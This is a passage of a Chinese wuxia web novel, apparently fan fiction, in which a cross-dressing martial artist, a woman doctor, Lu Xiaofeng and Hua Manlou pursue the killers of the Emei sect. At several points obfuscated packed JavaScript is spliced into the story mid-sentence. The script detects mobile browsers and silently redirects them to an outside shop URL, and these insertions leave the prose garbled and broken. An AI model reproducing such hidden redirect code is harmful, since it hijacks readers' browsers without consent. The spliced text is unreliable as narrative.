“还好这位老爷皮厚肉多,”医馆来人倒是毒舌,慢条斯理道,“他但凡少长一斤肉,这刀子都要伤到他的要害。如今么……只是失血过多,能醒来就没大事。” 何欢闻言,沉默片刻:“多谢大夫,若不是您技术高超,也难保住他的性命。不知怎么称呼?” 那医馆大夫身着青衫,宽额厚唇,皮肤蜡黄,眉宇间却自有一股怡然自得之风。他闻言有些诧异,那说眼睛好似在替他说话:“你这人倒是有些眼力。” 不过他到底也没这样说出来,只道:“我姓苏,你叫我苏大夫就是。” “好,苏大夫。”何欢开口,“既然这位先生已经无碍,我想请您随我一同再去看看别的病人。” 他挑了挑眉:“也是这样的伤口?” “我想是的。” “也是这样的胖老头?” “这倒……不是,或许是瘦老头,又或许是小姑娘、小伙子。” 他忽而一笑,这笑容竟有种奇特的味道:“很好,有趣。你带我去吧。最好用上你最快的轻功,不然……只怕神仙也难救他们。” 先前被何欢调遣来客栈中留守的神水宫宫众,虽还未听懂他们前面在说什么,却依旧抓住了重点:“放肆,你是什么身份,竟也想接近神女!” “神女?”那医生上下打量了何欢一眼,嗤笑一声,“他算哪门子的神女,他……” 话未出口,一阵清风拂过他的脖颈,他就说不出话来了,只能用那双眼睛叱骂点了他哑穴的何欢。 何欢严肃道:“出门在外,事急从权,不必在意外界言论。再者,身份之事,不必见人就谈,恐生祸端……这些小事,我不愿再说第二遍。” “是,请神女……请您降罪。”她说完话,却久久不闻回音,身边有人推了她一下,她才抬头,早已不见了圣女和那医生的影子。 “神女没打算罚你呢,你下次记住就好。”同伴小声道。 而另一边,何欢正携那大夫一路向东,往峨眉下榻的客栈奔去。 “怎么。他们不知道你是个男神女?”已经被解了穴的大夫依旧言语犀利。 何欢挟一人奔走,开口说话时气息竟也不乱:“正如姑娘以男子身份行医,我以女子身份行神女应做之事。无奈之举罢了。” “我行医,可没占过别人便宜。”那大夫道。 “我亦如此。” 那大夫便不说话了,片刻后,又问:“你是怎么看出我是女子的?” 何欢回:“那你又是怎么看穿我的伪装的?” 她不满:“我先问的,你应当先回答我,怎么能反问我。” 何欢答:“正因你更迫切想要知道自己是怎么被看穿的,所以你该先用自己的答案做交换。” “……”那大夫撇了撇嘴,“你方才露出了三点破绽。” “苏大夫慧眼,愿闻其详。” 她被这恭敬地态度取悦,道:“第一点,你扮演的是个高贵、纯洁的少女,是不是?”见何欢没有反驳,而是态度诚恳的默认,她才继续道,“而这种女孩子,是绝不会盯着一个男人的裸体看那么久的,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“再早一些来,或许可以。如今却几乎不成了。除非……” “除非什么?” “除非有人愿意运功为她排出一部分的毒。”苏大夫望向他,“但,你同她非亲非故,真要冒这个风险?我虽不习武,也知道替人运转心法,有逆功入体,走火入魔的风险。” 何欢的手已经贴在了石秀雪的背心,他道,“我的功法特殊,不会出事。请苏大夫医治吧。” 苏大夫皱眉,嘟囔道:“只要你还是个人,就必须承受这种风险。我早就知道你人不坏,但没想到你如今表现得……像个滥好人一样。” 她明明这么说着,手底下却快速地施针、按压穴位,不时提醒何欢替她运气应该走哪条筋脉,转眼已经大汗淋漓。 少顷,两人一同收手。石秀雪喷出一口黑色血液,落在地上竟将青砖迅速腐蚀出一个个细小的洞。苏大夫皱眉,很是嫌弃的往旁边靠了靠。 随后,她看见何欢神情仍然哀肃。 顺着他的视线望去,寂静的客栈里,鲜血流满了一地。 “生死有命,死人你既然救不了,也不必再挂怀了。”见惯了生死的大夫如是说到。 “他们本不必死的。”可那人的脸上依旧哀肃,其中又多了一丝难以察觉的痛苦与悔意,“我闻到过这种毒药的味道,知道它的主人是谁。如果当初我直接杀了她……” 哪怕是陆小凤亲手将上官飞燕交给了他六扇门的朋友。我不该相信那些官员能解决这种事的。 他心想。 无一例外,他们不过是脆弱的、无能为力的、满口谎言的人类。 27.第 27 章 “如果当初我直接杀了她……”这想法一旦涌上心头,就难以消湮。 但看着呼吸依旧微弱的石秀雪、看着死不瞑目的峨眉众人,他如今没有时间再自怨自艾。他深吸一口气,想着应对之法。 苏大夫也说道:“与其想过去为什么不能未卜先知,不如想想如今如何报仇。这毒药很是稀奇,是外邦的手法,倘若你抓了人来,留一份这毒药给我。” “……” “你担心我用毒药杀人啊?”苏大夫难以置信的望着他,“怎么,你是皇帝吗,皇帝也不是都想管啊?” 何欢定了定神,“先把石姑娘送到安全的地方再说这些吧……跟我走。” 客栈门口的板车,被他铺上了床铺被子,何欢将石秀雪放在上面,示意苏大夫拉着走。他需要营造出一个苏大夫单独发现石秀雪、初步医治后送往客栈的假象。 然而他忘记了,苏大夫本质上是一个没有武功的女子。 “我?拉板车?”苏大夫不可置信的指了指带着铺盖、一个人的实木板车,又指了指自己。 “……我拉中间半路,首尾一半的确需要你来拉。” “……” 在半途,何欢低声说了希望苏大夫接下来做的事。 “你怎么就确定我会帮你?”此刻正是何欢在拉车,苏大夫一同坐在了板车边上,三百斤的分量,他却如履平地。 “苏大夫不是想要研究这种毒药吗?” “其实嘛,已经破解出了解药,原本的毒不研究也罢。”苏大夫故意抬杠。 “那么……”何欢看了她一眼,语调平缓,却说出来某种常人难以涉及的秘密,“有一种无色无味的毒药,平常看着也不甚显眼,人喝下去,却如同一瞬间饮入一百公斤重的水,瞬间爆体而亡……” “真的?世上竟有如此神奇的毒药?”苏大夫惊异。 “你想要见一见吗?更有甚者……佐以实验?” “只要我帮你这一次,你就带我看这种毒药?”她明显被说动了心。 “有何不可。”何欢神情自然。 “成交!”苏大夫兴高采烈的晃了晃腿。 过了一会儿,她又好奇道:“你不问问我,你的第三个破绽是什么?” 闻言,何欢低低笑了两声。 “你笑什么?”苏大夫不满,后来才反应过来,“哦,你已经知道了?根本没有第三条破绽。” 他不置可否。将话真假参半的说出来,顺应惯性的思维,让人以为前两条破绽言之有物,且十分紧要,那么最后一条必定是重中之重,需要审慎对待,这的确是精妙的手段。 苏大夫看他,半晌,摇摇头,“你这人,有时候好聪明,有时候又迟钝的像一只猪。” 何欢叹气:“你又在说我割裂了?” 她又咯咯咯的笑,“但是,跟你这种割裂的人当朋友,好新奇,好有趣。” “哪怕你根本不知道我易容下的样子,我没帮你做任何事情,反而还在麻烦你……你也认为我是你的朋友?” 苏大夫反而觉得奇怪,“怎么,做朋友原来需要那么多的规矩吗?我喜欢有趣的人,我喜欢你,你就是我的朋友了。怎么,你不乐意吗?” “没有…没有什么规矩……我很乐意。”何欢顿了顿,轻松了些,与人调笑一句,“那么,好朋友,答应我,一会儿过去了可别银铃一般地笑。只要听一听,就知道你是个女孩子了。” “……不用你说我也知道,多嘴!” …… 等到了何欢和陆小凤他们一同下榻的客栈,何欢示意苏大夫把石秀雪放下。 “你还真是做好事不留名。”她不知是称赞还是讽刺道。 “……”何欢虽说刚刚半路同她说笑,周身仍旧带着恹恹之感。他最后只看了一眼苏大夫和石秀雪,确定没有什么破绽,就冲他们二人点了点头,飞身绕后上二楼。 与此同时,苏大夫推开了客栈的门,喊道:“花满楼?花满楼花公子住这里吗?有个快要死了的人找你。” 她声音并不大,但花满楼如今还未睡,自是听到了。他推开房门,疑惑的神情便化为凝重——空气中飘散着若有若无的血腥味。 “在下正是花满楼。”他下楼来,苏大夫打量他片刻,皱了皱眉。 “你就是?他找的是你?”这里的他指的是何欢,刚刚他说,“你只管说这位姑娘昏迷前,告诉了你花满楼的名字,其他无需多言,我会处理。” 但这人……他明明是个瞎子啊。要怎么处理这件事? 苏大夫犹在犹疑,就听见楼上熟悉女声慵懒中带点睡意,道:“怎么,发生什么事,我听见有人在喊花满楼的名字?” 好莫名其妙的话,好僵硬的戏,谁会因为别人的名字被喊,就在深夜突然起身啊? 没想到,隔壁门也开了,探出一个披着红披风的脑袋,“我也听到了,出了什么事?” 苏大夫:“……” 紧接着,她听见何欢惊呼——惊讶得浑然天成:“是石秀雪姑娘!” 他匆匆下楼,花满楼已经蹲下身,试探石秀雪的鼻息。 苏大夫念着已经提前排演好的台词,百无聊赖,“中了剧毒,幸好遇到我,福大命大。” “不好,峨眉派……”陆小凤皱眉,他先看向花满楼,却发觉对方如今无暇多虑,又看向何欢。 何欢明白了他未尽之意,点了点头,补充道,“喊上你另一个帮手一起,不要冒险。” 陆小凤苦笑,不置可否,“只怕已经人去楼空……唉,我去去就回。” 如今客栈一楼便只剩下他们四人。原本还在前头打盹的小二,看见地下躺着的人,也已经悄悄躲到了后院,生怕招惹事端。 “先带石姑娘去房间歇下吧。”何欢道。 花满楼点点头,下意识抬头向苏大夫的方向。随是江湖儿女,花满楼仍顾及男女之防,大夫却无关性别,希望得他搭把手。 “怎么?我已将人运到这儿来,还要我把人背上去?”苏大夫没好气。 花满楼听见怀中人微弱的呼吸声,她好似已经睁开了眼睛,看见了眼前人,“花……”她声音低低的。 花满楼柔声安慰:“石姑娘,别怕,你已经安全了。” 这句话似是让她彻底明白了如今不是幻想,而是残忍地现实。她的眼睛又闭上,从紧闭的眼睑下滚落大颗的眼泪,“师傅……师傅他们……” “你先休息。陆小凤已经赶去助独孤先生他们了。”事急从权,花满楼将石秀雪抱起,与何欢错身而过。 这个瞬间,苏大夫从何欢的脸上,看到了一瞬的失神。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099872|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他怎么了?他想到了什么?可无论如何,如今可不是愣神的时机啊。 苏大夫路过时,与何欢使眼色,他才恍然醒悟,跟上楼去,且及时道,“去我那里吧。” 花满楼犹豫了片刻,点了点头。 何欢的床榻本就没有睡过,只是刚才做出有些凌乱的样子。 他掀开被子,花满楼将石秀雪放在榻上。 等花满楼打算起身时,就被再次惊醒的石秀雪拉住了衣角。 她已草木皆兵,如今好似只有花满楼的陪伴能给她一些安全感。 何欢怕她突然进了隐蔽的房间,更加慌乱,开口安抚:“石姑娘,如今有我们在,你大可安心了。只待陆小凤与尊师汇合。” 迫不得已的谎言,触及可怜之人的伤疤,他只觉得腹内如同火在烧,喉头又冷得发紧。然而,他不得不做这恶人,提起此事。 放任上官飞燕等人在外多待一刻,他都害怕会有其他无辜之人惨遭毒手。人一旦见了鲜血、开了杀戒,只会扩大血腥的念头,以杀止杀。 石秀雪闻言,又有泪痕划过脸颊,她的脸已经雪白,“家师已经……已经……仙去了。” 她不堪此猛地瞪大了眼睛,牙齿咬地紧紧,似是不堪承受此等痛苦,然而仍要将恶人的罪行从千疮百孔的记忆中榨出,“是……是、霍天青,他和一女子前来……屠杀我峨眉。师父中了一掌,又撞上那毒妇的毒针……大师姐上去救师父,被霍天青一箭穿心,人英……人英才那么小……” 她是憋着一口气说出这话,眼泪不住的流,话语落下、将气吐近,人也如同一片枯败的落叶般,好像心生死志。 “她重伤未愈,受不起刺激了。”苏大夫插身上前,不着痕迹瞪了一眼何欢。 何欢垂下眼眸,“是我的不是,我不该问。” 花满楼未说话,他在为峨眉派感到痛苦、为石秀雪而痛苦——生命的消散,总能让他感同身受的痛苦,尤其是这种单方面的屠杀。 苏大夫无言。 此厢寂静,许久后,花满楼才问:“多谢先生搭救。只是不知,石姑娘身上中的暗器可还在?” “是一枚银针,在这。”苏大夫打开随身带着的帕子。 “何姑娘,麻烦你了。”花满楼道。 何欢仍需装作第一次见这飞针,在眼前端详片刻。 他沉默的时间太久,花满楼心中已经有了判断,“想必你已经看出来了,这是谁人的暗器。不然,不该如此沉默。” “不错,是她的。是上官飞燕。这与上次在她身上搜出的,正是同样的针。”脱离了理智,何欢不受控制的冷笑一声,“我们忘记了,她既然能让崔一洞那样的恶人为她演戏,为什么不能让六扇门的人放她一马?” “要知道,她那么年轻、又那么美貌,看起来楚楚可怜,让人放下警惕简直轻而易举。” “倘若当时我再坚持一下,或者…我本也没有那么着急赶路……” 花满楼猛地反应过来,他想要牵住何欢的手腕,“何……你着像了。” 何欢已然站起身,好似无意,却恰好躲开了他的阻止,“花满楼,我已放过红鞋子两次,如今不能再任她害人。” “不要冲动,她身边还跟着霍天青,此人武功深不可测,我们需从长计议!” 28.第 28 章 何欢转身要走,却被苏大夫也拉住了衣袖,“你一个看着柔柔弱弱的姑娘家,”苏大夫把姑娘家那三个字咬的极重,作提醒用,“怎么做事却这样急脾气。” 何欢被她说的一愣,也就是这方寸瞬间,陆小凤已探查回来,到了何欢房间门前。因着刚刚众人都情绪有波动,皆没有发现他。只是突然听到他在外面开口,“石姑娘如何了?” 何欢转身看见他,沉默片刻,让开了门口,“已经睡下了,情况还算稳定……进来说吧。” 陆小凤犹豫了一下,但看见众人都在,也就进来,站在了桌边,不往床榻旁看,只低声道:“除了峨眉派,我还去看了阎铁珊住的地方,他、他的随从、独孤掌门和那三个弟子,一共十几口人,都已经……” 他顾忌石秀雪,担心她会听到,丧命二字并未说出口。 “石姑娘已经知道了。并且,她亲眼看到杀人者是霍天青和上官飞燕。”何欢道。 陆小凤一愣。 花满楼也走过来,站在了何欢身后,状似无意的掩上了门。 何欢见状,别过头去,冷言:“我若想走,这门拦不住我。” “什么?怎么又是我一来你就要走?”陆小凤不明就里。 ……被他这么一说,何欢原本的情绪上也不是下也不是,只露出个哭笑不得的神情,气氛有所缓和。 待听花满楼与何欢三言两语叙述经过,陆小凤沉吟片刻,先是看向花满楼,复又看向何欢,突然绷紧了脸,严肃道:“不错,你的确该走。而且,你最好先和我们大吵一架,然后再躲得离我们远远地。” “陆小凤?”花满楼提高了声音,有些难以置信。 陆小凤的眼神从某个关心则乱的人身上扫过,停留在若有所思的何欢身上。 “而我与我的另一个帮手,需要去查明这真凶的下落,大概要从金鹏王朝开始查起,那就得回一趟南边了。” “花满楼,你没跟我们一起走,因为你想留在这里、留在这里……” 何欢接道:“照顾石姑娘。” 陆小凤尴尬的摸了摸自己的胡茬,眼神觑向花满楼,却见他并无任何反应。 “对,照顾石姑娘。” “至于这位……”陆小凤的视线停留在苏大夫身上,她了然。 “我嘛,”她说这话时,看向何欢,“开了家医馆,叫济仁堂,这几天都会一个人待在医馆里。” 他们四散行事,便是人为制造机会,逼霍天青和上官飞燕现身。即使知道其中可能有诈,赌徒心理也让他们不得不行动。赌双方人员安置、赌彼此之间的武力值。接下来,只看霍天青和上官飞燕,更着急灭谁的口。 上官飞燕性子骄傲,如今最可能袭击的,还是何欢。 然而石秀雪被救活、苏大夫是目睹惨案之人,霍天青或许会更倾向于向他二人下手。陆小凤让自己的那个帮手朋友去暗中保护苏大夫,自己在何欢身边。 花满楼身上还有花家花费重金买来的掌心雷,如果霍天青两人去找花满楼,他们听见响动也会赶去。 如今,何欢与陆小凤宿在郊外。只有何欢出面,出手阔绰要了一间上房,房中有屏风隔绝内外室,半夜,陆小凤就翻窗而入,坐在外室桌边,打算喝一夜的茶。 怪委屈的。倘若他待在花满楼那边,多少还能有个床榻睡。 何欢犹豫一瞬,道,“以我的武功,应当无需你保护。” 陆小凤露出夸张的如遭雷击的表情,“何姑娘,你觉不觉得,你对我有一些偏见?” 何欢露出疑惑神情。 这人既是为了活跃气氛,也是听了花满楼的话后想与何欢谈一谈。他假装皱起眉,“你莫不是在怪我把她送到了六扇门,结果还被她逃了吧。” 何欢从未如此想过。他责怪的主体,更多的是自己。但在他人看来…的确,她好像在埋怨花满楼和陆小凤当时没有听她的话。 他神情有些颓然,“我并没有这等想法,你们既不知道这个组织,能听我的谨慎对待她、将她送到官府牵制,已经帮了大忙。我只是觉得自己……” 他想了许久,不知如何描述,只好借用水母阴姬形容他的话,“若不是我优柔寡断,或者就不会有当前的惨案发生。” 陆小凤的神情突然变得有些古怪。 何欢还沉浸在自己的情绪中没有回神。 “何姑娘……” “怎么?” “相比上官家的那些人…你不会才是位真正的公主吧?” 何欢被他的话逗笑了,他声音柔和,“这怎么说,你是怎么猜到的?” “忧国忧民之情让我有些惭愧了……你真的是公主?!”陆小凤震惊。 公主……宫主,也差不多。 “相差无几。”他笑道,也有逗他的意思在,“很聪明嘛,陆大侠,很接近了。” 那张清丽的脸庞一扫愁云,笑容宛如拨开云雾的第一抹阳光,照在陆小凤的脸上。他觉得自己的脸被这笑容映照,也变得有些烫。 他问,“认识这么久,还不知道你的名字。” 何欢惊讶,“怎么,花满楼没告诉过你吗?” 陆小凤没好意思说,他以为何欢与花满楼正暧昧,只作了然状,让花满楼什么都不必说,以至于如今,陆小凤只知道对方姓何,猜到对方是何欢的妹妹。 何欢看他半晌,看出些花满楼的恶趣味。他也“从善如流”道:“陆大侠第一次见面,就误会我绑架了花满楼、在茶里下了药,也难怪不在意我这小人物的姓名。既然如此,现在又何必问呢?” 陆小凤被他噎住,叫苦叫屈:“这么说可是误会我了,唉,像你这么……”他原想说,像你这样可爱的女孩子,我心生好感都来不及。 但他及时刹住,只接道,“像你这么飒爽的女侠,我只有敬仰,怎么会不在意。” 不知为何,陆小凤让他想起过去,在朱七七他们身边时,朱七七总是来向他诉苦。 “欺负我很好玩吗?”她一边嘟囔,一边随手拿起何欢要晒的药材,想要帮忙。 何欢冷漠制止,“不能把这两种药放在一起晒,药性会被影响。” 在把朱七七推远,确保她不会看似帮忙实则捣乱之后,何欢一板一眼,“谁欺负你,你找沈浪,欺负回去。” 她脸上突然升起薄红,“你不懂……不跟你说了。”然后就小跑着离开。 何欢:…… 何欢把这件事告诉了王怜花。 王怜花哼笑,“在这破地方,还有谁能欺负了大小姐,还不是沈浪,他俩发神经,你别理他们。” “发神经?需要治吗?要炮制什么药材 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14111756|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?我去准备。” “哈哈哈,你这小笨蛋。”王怜花哈哈大笑,“人家夫妻之间,喜欢才要欺负呢,你懂什么……去,给我倒杯水。” 何欢拿了水回来,等王怜花喝水时,冷不丁问,“那你总是欺负我,也是因为喜欢我?” “噗……咳咳咳咳咳咳……”王怜花一口水呛进了气管,咳得惊天动地,“你……你这……你这该死的木头脑袋!干嘛在我喝水的时候问这种肉麻的问题!” 他没有回答。 但是,何欢知道,他应当是很喜欢自己的。不然也不会为他与水母阴姬抗衡……虽然那个时候更多是为了好玩。但在后来又独闯幽灵宫,应该是真正把他放在了心上……罢了,这是后话。 话说回来,这种心情到底是因为喜欢这种情绪,还是喜欢的那个人有某种特质?毕竟…陆小凤是何欢唯一一个没事就想要欺负一下的朋友。 参考花满楼对陆小凤都会有偶尔的恶趣味……应该是陆小凤的问题。这样想完,何欢更加理所应当得道,“你只会耍嘴皮子,现在么,想知道也晚了。只叫我何姑娘、何女侠就是。就如我也只叫你陆大侠一样。” 明明是很生疏的称呼,但陆小凤不知怎的,只觉得…… 何女侠,陆大侠,好似什么特别的、专门的称呼一样。 他作无奈接受状,“好吧,何女侠……” 气氛正好,他顺势道:“既然你我还不够熟悉,那么我说件儿时的事,加深一下了解。” 他见何欢没有反驳,反而托腮看向他,故作镇定道,“我小时候,住在山脚下,会去山林子里练功。有天,我进了深林,正撞见一只狼在捕杀小羊。” 他讲起故事来。 “它旁边明明已经有一只死鹿,还要多造杀孽,我见小羊可怜,便与狼缠斗,最后一掌劈死了那狼。” 何欢专注听着。 “我上前去看小羊,当时小羊必然是活不成了的,我将小羊找地方埋了,想着,让这狼曝尸荒野也无所谓,就放着它在那里,只是练功。” “等到了天黑,我认为夜间不甚安全,就会下山。下山半途,我听见有幼狼的叫声,声音嘶哑,越叫越弱。” 何欢已经猜到他接下来想要说什么,面露不忍。 “……我本来是想救下小羊,没想到却害了母狼,又害了小狼。” “如此想来,大约没有什么事是做了绝对不会错的,谁也不知道一件事做了之后,会不会比不做的时候更糟糕。” “你想用这个故事开解我,”何欢了然,“但你忘记了一件事。” “愿闻其详。” “动物不会做损人不利己之事,甚至不会刻意杀生。物竞天择,你干扰的是深林之中,动物为了生存才进行的捕食。” “而有些人……不是为了存活,只是为了利益,就会毫无怜悯之心的残杀同类。对这种人,难道不应该提前制裁吗?” 陆小凤苦笑——他怎会不知道,说到底,还是有些牵强了。 “不过……”对方的声音让陆小凤抬起了头。 陆小凤看见对方巧笑倩兮,“不过,该做什么、不该做什么,的确谁也无法预知。我,还要再想想……” 她的声音像一片羽毛,飘进了陆小凤心里。 “总之,多谢陆大侠开解啦。” 29.第 29 章 “所以,这个霍天青究竟是何许人?” “他是阎铁珊珠光宝气阁的总管。是个英俊的年轻人。” 这形容甚是笼统,何欢奇道:“原来,你与他不熟么?” 陆小凤哑然:“……原来在你眼里,我和谁都相熟吗?” 何欢笑意盈盈:“我只是听说,陆大侠的朋友遍天下。” “惭愧惭愧。”他这个人虽然说着惭愧,但的确露出一副以此为荣的表情——自然,这也的确是件值得骄傲的事。 “我对他了解不多,只因我以前与阎铁珊喝过几次酒,因而认得他。在此之前,我甚至不知道他有这样高的武功。” 何欢闻言,半晌后才接道:“这样说来,阎铁珊对他算是知遇之恩,他为何要杀阎铁珊?” “或许,他并不认为这是知遇之恩,阎铁珊的存在反而阻碍了他的发展;或许,他是有什么苦衷、被逼无奈;又或许,是为了金钱、女人、权力……”陆小凤苦笑,“可能的东西太多了,不听他亲口说出来,谁也不知道他在想什么。” 他好像在说霍天青,又好像在说这个江湖中所有突然做出让他难以理解之事的朋友——有太多诱惑,会让这些人走上一条不归路。 “你交朋友之时,从不考虑他们后面会不会与你为敌、背叛你,是么?” 陆小凤笑了,“性格相合,兴之所至则为友,哪会想那么多。更何况,不过是朋友,哪里谈得起背叛这么重两个字。” 如此随性,无怪众人皆愿与他为友。 “或许,何姑娘对朋友有不同的见解?” 何欢面露茫然。 陆小凤看她神情,小心试探道:“莫非……你,初出江湖,还没来得及交什么朋友?” 他这话说的好像委婉了一些,但归根结底,还是在说:你好像没什么朋友。 “按照你的定义……我应当也有很多朋友。”何欢犹豫,“可是,我以为,这和我想要的朋友不太一样。可真说起来,我也不知道自己想要的是什么。” 陆小凤笑了:“何姑娘还年轻呢,有大把的机会琢磨自己想要的是什么。” 这话倒不假。 “好了,估摸他们应当接到消息了,我们两个不能再交流了。” 陆小凤把手放在唇边,微笑着比了一个“嘘”的手势,示意何欢回到屏风后的床榻上,随即吹灭了烛火。 黑暗之中,微妙的气氛在安静的环境中滋生。 有人坐在椅子上,在想:她对朋友的要求都这样高,由此想来,花满楼与她真的很相配。 茶杯在手中转了两圈,又想:可她好像也不是话多之人,这两个人待在一起,不会每天就是抚琴下棋作画吧?真是我欣赏不来的志趣。到时候留我和何欢一起喝酒,调侃他俩……咦,这样想也很好! 他刻意压下某种刚刚开始滋生的情绪,开始想念何欢酿的酒。 窗外,不多时开始下雨。淅淅沥沥的小雨击打在树叶上、窗沿上,宛如在拨奏心弦,与无法倾吐的情绪与心事一起,谱作一首缠绵的乐章。 雨越下越大,然而伴随着雨声响起来的、杂乱的脚步声,打了人一个措不及防。 “六个人,包抄了这里。”何欢道。 “是上官飞燕的帮手?红鞋子?”陆小凤自言自语,又否决掉,“不对,倘若是她们,不会有这么重的脚步声。” 像是拿着重兵器的硬汉。在短时间内怎会有这么多的人来助阵?这时,他们两人对视一眼,已经明白——除阎铁珊外,霍天青仍有后台。 “糟了,我那朋友不是很会保护别人,苏大夫……”陆小凤猛然想起。 何欢沉默不语。他突然问,“你的轻功怎么样?” 陆小凤谦虚道:“还可以。” 何欢点了点头,“既然我们这里迎来的是围剿,霍天青与上官飞燕定是去了其他地方。不必恋战,突围出去,兵分两路。拉开距离逐一突破。随后你去找花满楼,我去救苏大夫。” 这与陆小凤想同他说的正好一致。他们身处黑暗之中,看不清对方的表情,也不知道陆小凤如今脸上正有无法掩盖的欣赏之色,“正有此意。” 正要出门的前一刻,何欢想起什么似的,道:“你下次交朋友之前……不妨打探一下对方的身世。” 陆小凤以为他指的是霍天青,苦笑一声,“也不至于这么倒霉,还有别的朋友想要我的命吧。” 他只听到对方低低笑了一声,随即,便见对方身影如鸟雀一般轻盈,乘着风飞了出去,眨眼已经突破了众人包围。 避免他们集中追逐何欢,陆小凤来不及多想便纵身跃出,向另一端奔去。 …… 花满楼这边,没有陆小凤他们想的那样剑拔弩张。 “久仰花公子大名。”霍天青此刻正端坐于花满楼对面,他讲话时慢条斯理,习惯注视别人的眼睛,哪怕对方是个瞎子。 上官飞燕并不在他身边。 花满楼道:“哦?我却不知,自己有什么名声。” 霍天青沉默片刻,道:“我本不愿刻意提起,但你看上去也不介意。我已听闻,花家的小儿子,是个瞎子。” “不错。”花满楼并不会感觉冒犯,更何况,对方的语气之中,也并无傲慢。 “但你仍然活得很好。” “是的,我仍能享受这世间的美好之处。”花满楼一顿,“如此说来,霍兄竟与家父相识吗?” 霍天青点头,随后又意识到对方看不见,再次开口,“不错。拜家父之福,我曾见过花伯父。”他说起自己父亲的时候,语气中有尊敬,然而更加明显的,是某种自嘲。 “家父正是天禽老人。” 这是他不愿提起的事。他并不想一辈子都被人叫做“天禽老人的儿子”,然而,在面对花满楼时,这个秘密也无足轻重了。 霍天青和缓的笑了一声:“希望花公子可以替在下保密。” “我会的。”花满楼欲言又止。 “花公子莫非是想问,我做这些事的理由吗?” “正是,如果霍兄愿意解惑,便再好不过了。” “利益、女人、权力……无非是这些。”霍天青如此说着,声音却并无多少波动。让人不禁怀疑,他所需要的真的是这些吗? “夜已经深了,此时伸手不见五指。花公子,我不愿占你的便宜,这便开始吧。” “然而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125706|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等至夜深,好像是我占了便宜。” “我虚长花公子五载,也曾在暗无天日的地方接受训练,话既出口,不必留情。” 雨越下越大,干扰了人的听力。黑暗之中,霍天青的眼睛像狼一样的亮。他的父亲是名动江湖的天禽老人,作为他的儿子、作为他倾囊相授的最小的弟子,霍天青的武功到底高到什么地步? 没有人知道。或许在争斗中逐渐捉襟见肘的花满楼可以体会到,但是,他可还有机会同别人讲? 未尽之际,在霍天青的剑锋即将刺破他的喉咙之前,他想到了陆小凤,陆小凤的灵犀一指可否解开如今的困境? 他亦想到了何欢。 小欢……他究竟为什么女扮男装?他如今还好吗?上官飞燕应当不是他的对手。 以及……还好,还好不是他遇上了霍天青。 灵犀一指已经夹到霍天青的剑尖,但霍天青强大的内力以及剑身原本带有的惯性使得剑锋又向前捅进了一寸。 只这一寸。 血滴滴答答的落下,落在地上。 霍天青的眼前,点起了一盏灯。 花满楼仍旧带着那种爱着所有生命的笑容,只是这笑容之中,多了一分哀愁。 “我输了。”霍天青开口,鲜血从他的鼻腔、咽喉涌出,“可……为什么?” 灯照影过,花满楼的脖颈完好无损。相反的,霍天青的胸前,被自己的断掉的剑尖贯穿。 在那千钧一发之际,在无人可以视物的黑暗之中,花满楼的身体,突然以一个几乎不似人类的角度,向另一侧扭去,借扭身之力和灵犀一指,竟硬生生掰断了霍天青的剑尖,随后又以流云飞袖之腕力,发射了出去,正中霍天青的胸腔,穿破了他的肺部。 “大概,还要多谢我的……朋友。” 半个月前…… 在等陆小凤的时候,无聊至极的何欢和花满楼两人,开始探讨武学。 “灵犀一指、流云飞袖……”何欢见花满楼使出这两样招式,思索片刻,“我有一式,与这两招很是相配,如今闲来无事,正好教给你。” “灵蛇出岫,听起来像不像灵犀一指和流云飞袖的中间式?” 这招式需要身似流水,以旁人无法预料的角度扭曲,宛如灵蛇,借扭转之力增进自身力量,继而借力打力,加大后续招式的力度,搭配灵犀一指与流云飞袖,的确恰到好处。 何欢教导他时,根本不知道,这招式还暴露了他变换身形的奥秘。让本来就有所怀疑的花满楼,直接看穿了他的真实身份。 学成之后,何欢还说下次见面,要考教他的“灵蛇出岫”。所以花满楼前段时间可谓是勤学苦练。没曾想,还没考教,便真用上了。 “朋友……”霍天青声音低哑,“呵……呵呵……” 他不知想到了什么,发出低低的笑声,鲜血更加汹涌地从他的口中流出,他坐在桌边,颤抖着想为自己倒一杯水。剧痛已经席卷了他的全身,可他仍然坐的像来时一样端正。 花满楼为他倒了一杯水。 “多谢。”他点穴封住了自己的伤口,自知已经药石无医,但弥留之际,仍有一句话想问。 他问—— 30.第 30 章 等到陆小凤赶到时,霍天青的气息已经消失许久。 他面色青白,安详的躺在外间榻上,花满楼为他合上了眼睛。 